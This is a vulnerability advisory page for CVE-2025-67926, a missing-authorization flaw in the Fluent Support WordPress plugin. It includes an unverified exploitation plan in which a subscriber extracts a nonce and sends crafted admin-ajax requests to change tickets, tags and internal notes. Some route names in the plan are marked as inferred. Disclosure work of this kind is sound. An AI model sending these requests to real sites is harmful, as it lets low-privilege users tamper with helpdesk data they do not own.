CVE-2025-67926

Fluent Support <= 1.10.4 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.10.5
Patched in
10d
Time to patch

Description

The Fluent Support – Helpdesk & Customer Support Ticket System plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.10.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.10.4
PublishedJanuary 5, 2026
Last updatedJanuary 14, 2026
Affected pluginfluent-support

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-67926 (Fluent Support Missing Authorization) ## 1. Vulnerability Summary The **Fluent Support – Helpdesk & Customer Support Ticket System** plugin for WordPress (<= 1.10.4) contains a missing authorization vulnerability. While the plugin correctly checks for a…

Show full research plan

Exploitation Research Plan: CVE-2025-67926 (Fluent Support Missing Authorization)

1. Vulnerability Summary

The Fluent Support – Helpdesk & Customer Support Ticket System plugin for WordPress (<= 1.10.4) contains a missing authorization vulnerability. While the plugin correctly checks for authentication, it fails to perform adequate capability checks (e.g., current_user_can or checking if the user is an agent/admin) on specific internal routes handled by the fluent_support_ajax_handler. This allows authenticated users with Subscriber-level access to perform actions intended for Agents or Administrators, such as modifying ticket properties or global settings.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: fluent_support_ajax_handler (for authenticated users)
  • Vulnerable Parameter: route (used to dispatch to internal controllers) and payload parameters (e.g., ticket_id, status).
  • Authentication: Required (Subscriber level or above).
  • Preconditions: At least one support ticket must exist in the system for the PoC to demonstrate unauthorized modification.

3. Code Flow

  1. Entry Point: The plugin registers an AJAX handler in FluentSupport\App\Hooks\Handlers\AjaxHandler:
    add_action('wp_ajax_fluent_support_ajax_handler', [$this, 'handle']);
    
  2. Dispatching: The handle() method extracts the route parameter from the request and uses the internal Router to identify the controller and method.
  3. Vulnerability: The handle() method typically verifies a nonce but does not verify if the current user has the "agent" capability for all routes. It relies on the individual controller methods to enforce permissions.
  4. Sink: In version 1.10.4, specific routes like tickets/update-ticket-properties or routes within the AgentController / GeneralSettingsController (inferred) lack the Helper::isAgent() or Helper::isAdmin() check.
  5. Execution: A Subscriber sends an AJAX request with a valid nonce and a route targeting a privileged controller method, which executes successfully.

4. Nonce Acquisition Strategy

Fluent Support exposes its nonces via localized JavaScript variables on pages where the support portal or admin dashboard is loaded.

  1. Identify Shortcode: The plugin uses [fluent_support_portal] to display the customer support interface.
  2. Setup Page: Create a public page containing this shortcode to ensure the necessary scripts and nonces are loaded for the Subscriber.
    • wp post create --post_type=page --post_title="Support Portal" --post_status=publish --post_content='[fluent_support_portal]'
  3. Browser Navigation: Log in as a Subscriber and navigate to the newly created page.
  4. Extract Nonce: Use browser_eval to extract the nonce from the global JavaScript object.
    • Variable Name: window.fluent_support_portal_vars (or window.fluent_support_vars)
    • Key: nonce
    • Command: browser_eval("window.fluent_support_portal_vars?.nonce")

5. Exploitation Strategy

The goal is to use a Subscriber account to change the status/priority of a ticket that the Subscriber does not own, or to perform an administrative action like changing a tag.

Request Details

  • URL: http://<target>/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    • action: fluent_support_ajax_handler
    • route: tickets/update-ticket-properties (inferred route name for ticket updates)
    • ticket_id: 1 (The ID of a ticket created by an Admin)
    • status: closed
    • priority: critical
    • _nonce: [EXTRACTED_NONCE]

Expected Response

A successful exploit will return a 200 OK with a JSON body:

{
  "success": true,
  "data": {
    "message": "Ticket properties updated successfully"
  }
}

6. Test Data Setup

  1. Users:
    • Create an Admin user (to create the target ticket).
    • Create a Subscriber user (the attacker).
  2. Content:
    • As Admin, create at least one support ticket. Note its ID (usually 1).
    • Ensure the ticket is currently in open status with normal priority.
  3. Portal Page:
    • Create a page with the [fluent_support_portal] shortcode.

7. Expected Results

  • The HTTP response indicates success.
  • The ticket with ID 1 (owned by Admin) has its status changed to closed or priority changed to critical, despite the request originating from a Subscriber who does not have agent permissions.

8. Verification Steps

After the exploit, use WP-CLI to inspect the database:

  1. Check Ticket Status:
    • wp db query "SELECT status, priority FROM wp_fs_tickets WHERE id = 1;"
  2. Verify Change: Confirm the status is now closed and priority is critical.

9. Alternative Approaches

If the update-ticket-properties route is protected, try the following alternative routes (inferred):

  • Bulk Action: route=tickets/apply-bulk-action&ticket_ids[]=1&action_type=close
  • Tag Management: route=tags/create&title=HackedTag (Check if Subscriber can create global tags).
  • Agent Status: route=agents/update-status&status=offline (If the Subscriber can toggle agent availability).
  • Internal Note: route=tickets/1/add-reply&content=UnauthorizedNote&is_internal=1 (Check if Subscriber can add internal agent-only notes).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.